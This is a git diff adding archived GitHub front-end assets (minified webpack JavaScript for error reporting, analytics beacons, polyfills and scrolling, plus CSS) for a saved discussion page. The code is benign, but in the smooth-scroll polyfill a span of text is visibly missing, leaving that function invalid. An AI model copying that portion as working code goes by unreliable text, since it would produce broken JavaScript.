odules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group 